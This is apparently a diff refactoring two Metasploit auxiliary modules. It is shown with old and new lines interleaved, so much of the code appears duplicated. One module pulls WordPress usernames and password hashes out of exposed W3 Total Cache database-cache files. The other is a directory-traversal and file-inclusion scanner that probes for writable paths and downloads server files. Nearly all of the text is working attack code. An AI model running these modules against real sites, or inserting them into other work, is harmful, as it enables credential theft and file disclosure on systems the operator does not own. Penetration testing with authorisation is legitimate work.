vprint_error("Unable to connect to #{url}")
return nil
vprint_error("Unable to connect to #{user_url}")
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("Unable to connect to #{url}")
return nil
vprint_error("Unable to connect to #{user_url}")
end
nil
end
def run_host(ip)
users_found = false
for site_id in 1..datastore["SITE_ITERATIONS"] do
(1..site_iterations).each do |site_id|
vprint_status("Trying site_id #{site_id}...")
for user_id in 1..datastore["USER_ITERATIONS"] do
(1..user_iterations).each do |user_id|
vprint_status("Trying user_id #{user_id}...")
# used to cache the statement
cache_user_info(user_id)
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'"
query_md5 = ::Rex::Text.md5(query)
host = datastore["VHOST"] || ip
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
host = datastore['VHOST'] || ip
key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}"
key_md5 = ::Rex::Text.md5(key)
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
url << hash_path
hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5)
url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path)
result = nil
begin
result = send_request_cgi({ "uri" => url, "method" => "GET" })
result = send_request_cgi('uri' => url, 'method' => 'GET')
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect to #{url}")
break
@ -103,8 +107,8 @@ class Metasploit3 < Msf::Auxiliary
break
end
if result.nil? or result.body.nil?
print_error("No response received")
if result.nil? || result.body.nil?
print_error('No response received')
break
end
@ -113,18 +117,18 @@ class Metasploit3 < Msf::Auxiliary
print_good("Username: #{match[0]}")
print_good("Password Hash: #{match[1]}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => ssl ? "https" : "http",
:user => match[0],
:pass => match[1],
:active => true,
:type => "hash"
host: rhost,
port: rport,
sname: ssl ? 'https' : 'http',
user: match[0],
pass: match[1],
active: true,
type: 'hash'
)
users_found = true
end
end
end
print_error("No users found :(") unless users_found
print_error('No users found :(') unless users_found
end
end

View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PATH', [true, 'Vulnerable path. Ex: /foo/index.php?pg=', '/']),
OptString.new('DATA', [false,'HTTP body data', '']),
OptInt.new('DEPTH', [true, 'Traversal depth', 5]),
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/1.1 200 OK']),
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/\\d\\.\\d 200']),
OptPath.new(
'FILELIST',
[
@ -80,6 +80,18 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST')
end
# Avoids writing to datastore['METHOD'] directly
def method
@method || datastore['METHOD']
end
# Avoids writing to datastore['DATA'] directly
def data
@data || datastore['DATA']
end
#
# The fuzz() function serves as the engine for the module. It can intelligently mutate
# a trigger, and find potential bugs with it.
@ -101,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary
# Each possible trigger, we try to traverse multiple levels down depending
# on datastore['DEPATH']
depth = datastore['DEPTH']
depth = datastore['DEPTH']
triggers.each do |base|
1.upto(depth) do |d|
file_to_read.each do |f|
@ -124,10 +136,6 @@ class Metasploit3 < Msf::Auxiliary
def ini_request(uri)
req = {}
# If the user is using some rare-to-use method, we probably have not fully tested,
# so we will not support it for now.
method = datastore['METHOD']
data = datastore['DATA']
case method
when 'GET'
# Example: Say we have the following datastore['PATH']
@ -135,8 +143,8 @@ class Metasploit3 < Msf::Auxiliary
# We expect it to regex the GET parameters:
# 'page=1&id=3&note=whatever'
# And then let queryparse() to handle the rest
data = uri.match(/\?(\w+=.+&*)$/)
req['vars_get'] = queryparse(data[1]) if not data.nil?
query_params = uri.match(/\?(\w+=.+&*)$/)
req['vars_get'] = queryparse(query_params[1]) if query_params
when 'POST'
req['vars_post'] = queryparse(data) if not data.empty?
when 'PUT'
@ -154,10 +162,10 @@ class Metasploit3 < Msf::Auxiliary
this_path = uri
end
req['method'] = datastore['METHOD']
req['method'] = method
req['uri'] = this_path
req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty?
req['data'] = datastore['DATA'] if not datastore['DATA'].empty?
req['data'] = data if not data.empty?
req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
return req
@ -217,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
:proof => trigger,
:name => self.fullname,
:category => "web",
:method => datastore['METHOD']
:method => method
})
else
@ -281,15 +289,15 @@ class Metasploit3 < Msf::Auxiliary
#
def is_writable(trigger)
# Modify some registered options for the PUT method
tmp_method = datastore['METHOD']
tmp_data = datastore['DATA']
datastore['METHOD'] = 'PUT'
tmp_method = method
tmp_data = data
@method = 'PUT'
if datastore['DATA'].empty?
if data.empty?
unique_str = Rex::Text.rand_text_alpha(4) * 4
datastore['DATA'] = unique_str
@data = unique_str
else
unique_str = datastore['DATA']
unique_str = data
end
# Form the PUT request
@ -302,8 +310,8 @@ class Metasploit3 < Msf::Auxiliary
send_request_cgi(req, 25)
# Prepare request to read our file
datastore['METHOD'] = 'GET'
datastore['DATA'] = tmp_data
@method = 'GET'
@data = tmp_data
req = ini_request(uri)
vprint_status("Verifying upload...")
res = send_request_cgi(req, 25)
@ -316,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary
end
# Ah, don't forget to restore our method
datastore['METHOD'] = tmp_method
@method = tmp_method
end
#
@ -324,16 +332,13 @@ class Metasploit3 < Msf::Auxiliary
# This is used in the lfi_download() function
#
def load_filelist
f = File.open(datastore['FILELIST'], 'rb')
buf = f.read
f.close
return buf
File.open(datastore['FILELIST'], 'rb') {|f| f.read}
end
def run_host(ip)
# Warn if it's not a well-formed UPPERCASE method
if datastore['METHOD'] !~ /^[A-Z]+$/
print_warning("HTTP method #{datastore['METHOD']} is not Apache-compliant. Try only UPPERCASE letters.")
if method !~ /^[A-Z]+$/
print_warning("HTTP method #{method} is not Apache-compliant. Try only UPPERCASE letters.")
end
print_status("Running action: #{action.name}...")

Some files were not shown because too many files have changed in this diff Show More